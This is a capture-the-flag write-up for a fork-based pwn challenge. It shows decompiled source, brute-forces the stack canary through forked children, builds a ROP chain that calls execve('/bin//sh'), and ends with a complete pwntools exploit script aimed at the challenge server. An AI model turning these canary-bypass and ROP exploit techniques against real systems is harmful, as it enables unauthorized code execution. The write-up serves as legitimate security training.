### Source code(from IDA) ```cpp int __fastcall main(int argc, const char *argv, const char *envp) { int v3; // edx int v4; // ecx int v5; // r8d int v6; // r9d int v7; // edx int v8; // ecx int v9; // r8d int v10; // r9d int v11; // eax int v12; // edx int v13; // ecx int v14; // r8d int v15; // r9d char v17; // [rsp+0h] [rbp-30h] int v18; // [rsp+4h] [rbp-2Ch] BYREF int v19; // [rsp+8h] [rbp-28h] int v20; // [rsp+Ch] [rbp-24h] char buf[8]; // [rsp+10h] [rbp-20h] BYREF __int64 v22; // [rsp+18h] [rbp-18h] unsigned __int64 v23; // [rsp+28h] [rbp-8h] v23 = __readfsqword(0x28u); (_QWORD )buf = 0LL; v22 = 0LL; v19 = 0; init_0(argc, argv, envp); while ( 1 ) { while ( 1 ) { banner(); _isoc99_scanf((unsigned int)"%d", (unsigned int)&v18, v3, v4, v5, v6, v17); if ( v18 != 1 ) break; v20 = fork(); ++v19; if ( v20 == -1 ) { perror("fork"); exit(1LL); } if ( !v20 ) { v11 = getpid(); printf((unsigned int)"I'm child, my id is %d\n", v11, v12, v13, v14, v15, v17); puts("Say something to your father"); read(0, buf, 0x100uLL); return 0; } wait(0LL); } if ( v18 != 2 ) break; printf((unsigned int)"we create %d children !!!\n", v19, v7, v8, v9, v10, v17); } puts("Please help me find my children !!!!!"); read(0, buf, 0x100uLL); return 0; } ``` ### Tools 1. [ROPGadget](https://github.com/JonathanSalwan/ROPgadget) ### Solution ![擷取!](https://hackmd.io/_uploads/HJc4mal4p.png) After executing `checksec` under gef, we notice there is a canary. **To ensure the success of the attack, the first step is to deduce the canary word**. The key to solving this problem is to repeatedly generate new processes through fork, attempting to [brute-force the canary value](https://introspelliam.github.io/2017/09/23/pwn/%E8%AE%BAcanary%E7%9A%84%E5%87%A0%E7%A7%8D%E7%8E%A9%E6%B3%95/) and printing the result. Another key point in solving this problem is to use Return-Oriented Programming (ROP) to execute *execve("/usr/bin")*. Utilizing the ROPgadget tool, after installation, execute the command: ` ROPgadget --binary ./father --ropchain`. The steps to execute the shellcode through ROP will be displayed at the bottom: ``` #!/usr/bin/env python3 # execve generated by ROPgadget from struct import pack # Padding goes here p = b'' p += pack('<Q', 0x0000000000410893) # pop rsi ; ret p += pack('<Q', 0x00000000006d50e0) # @ .data p += pack('<Q', 0x00000000004005cf) # pop rax ; ret p += b'/bin//sh' p += pack('<Q', 0x0000000000488931) # mov qword ptr [rsi], rax ; ret p += pack('<Q', 0x0000000000410893) # pop rsi ; ret p += pack('<Q', 0x00000000006d50e8) # @ .data + 8 p += pack('<Q', 0x0000000000444c50) # xor rax, rax ; ret p += pack('<Q', 0x0000000000488931) # mov qword ptr [rsi], rax ; ret p += pack('<Q', 0x00000000004006c6) # pop rdi ; ret p += pack('<Q', 0x00000000006d50e0) # @ .data p += pack('<Q', 0x0000000000410893) # pop rsi ; ret p += pack('<Q', 0x00000000006d50e8) # @ .data + 8 p += pack('<Q', 0x000000000044c2a6) # pop rdx ; ret p += pack('<Q', 0x00000000006d50e8) # @ .data + 8 p += pack('<Q', 0x0000000000444c50) # xor rax, rax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret p += pack('<Q', 0x00000000004013ec) # syscall ``` However, if all instructions are included in the payload, the length might exceed the limit and overwrite memory positions that shouldn't be overwritten. Therefore, the lengthy sequence of *inc eax; ret* in the middle should be replaced with a more concise approach. Because *inc eax; ret* increments eax by 1 and then returns, and this sequence is executed a total of 59 times in this ROP, we can achieve the same effect by using *pop rax; ret* and then adding 59 to the value in rax. To find the machine code of *pop rax; ret* ,using ROPgadget command: `ROPgadget --binary ./father --only "pop|ret" |grep "pop rax"` ![擷取2](https://hackmd.io/_uploads/rym0taeNp.png) The instruction at *0x4005cf* is exactly the instruction we're finding, so we replace the code with: ``` p = b'' p += pack('<Q', 0x0000000000410893) # pop rsi ; ret p += pack('<Q', 0x00000000006d50e0) # @ .data p += pack('<Q', 0x00000000004005cf) # pop rax ; ret p += b'/bin//sh' p += pack('<Q', 0x0000000000488931) # mov qword ptr [rsi], rax ; ret p += pack('<Q', 0x0000000000410893) # pop rsi ; ret p += pack('<Q', 0x00000000006d50e8) # @ .data + 8 p += pack('<Q', 0x0000000000444c50) # xor rax, rax ; ret p += pack('<Q', 0x0000000000488931) # mov qword ptr [rsi], rax ; ret p += pack('<Q', 0x00000000004006c6) # pop rdi ; ret p += pack('<Q', 0x00000000006d50e0) # @ .data p += pack('<Q', 0x0000000000410893) # pop rsi ; ret p += pack('<Q', 0x00000000006d50e8) # @ .data + 8 p += pack('<Q', 0x000000000044c2a6) # pop rdx ; ret p += pack('<Q', 0x00000000006d50e8) # @ .data + 8 p += pack('<Q', 0x0000000000444c50) # xor rax, rax ; ret p += pack('<Q', 0x00000000004005cf) # pop rax; ret p += pack('<Q', 0x000000000000003b) # @ .data + 8 p += pack('<Q', 0x00000000004013ec) # syscall ``` #### Stack layout ![螢幕擷取畫面 2023-11-14 205432](https://hackmd.io/_uploads/B1eXCyZNT.png) #### Final solution ```python from pwn import * from struct import pack r = remote("ctf.adl.tw",10011) # print('success getting canary: ',canary.encode()) p = b'' p += pack('<Q', 0x0000000000410893) # pop rsi ; ret p += pack('<Q', 0x00000000006d50e0) # @ .data p += pack('<Q', 0x00000000004005cf) # pop rax ; ret p += b'/bin//sh' p += pack('<Q', 0x0000000000488931) # mov qword ptr [rsi], rax ; ret p += pack('<Q', 0x0000000000410893) # pop rsi ; ret p += pack('<Q', 0x00000000006d50e8) # @ .data + 8 p += pack('<Q', 0x0000000000444c50) # xor rax, rax ; ret p += pack('<Q', 0x0000000000488931) # mov qword ptr [rsi], rax ; ret p += pack('<Q', 0x00000000004006c6) # pop rdi ; ret p += pack('<Q', 0x00000000006d50e0) # @ .data p += pack('<Q', 0x0000000000410893) # pop rsi ; ret p += pack('<Q', 0x00000000006d50e8) # @ .data + 8 p += pack('<Q', 0x000000000044c2a6) # pop rdx ; ret p += pack('<Q', 0x00000000006d50e8) # @ .data + 8 p += pack('<Q', 0x0000000000444c50) # xor rax, rax ; ret p += pack('<Q', 0x00000000004005cf) # pop rax; ret p += pack('<Q', 0x000000000000003b) # @ .data + 8 p += pack('<Q', 0x00000000004013ec) # syscall # p.sendline(b"1") # p.recvuntil(b"Say something to your father") # print('pass1') canary = '\x00' r.recvuntil(b'out') for j in range(7): for i in range(0x100): r.sendline(b'1') r.recvuntil(b'father') r.send('a'*24 + canary + chr(i)) a = r.recvuntil(b'out') #print('current i', i) #print('the received a:', a) if b'smashing' not in a: canary += chr(i) print(hex(i)) break r.send(b'1\n') p_final = flat('a'*24, canary, 'a'*8, p) r.sendafter(b'father', p_final) r.interactive() ```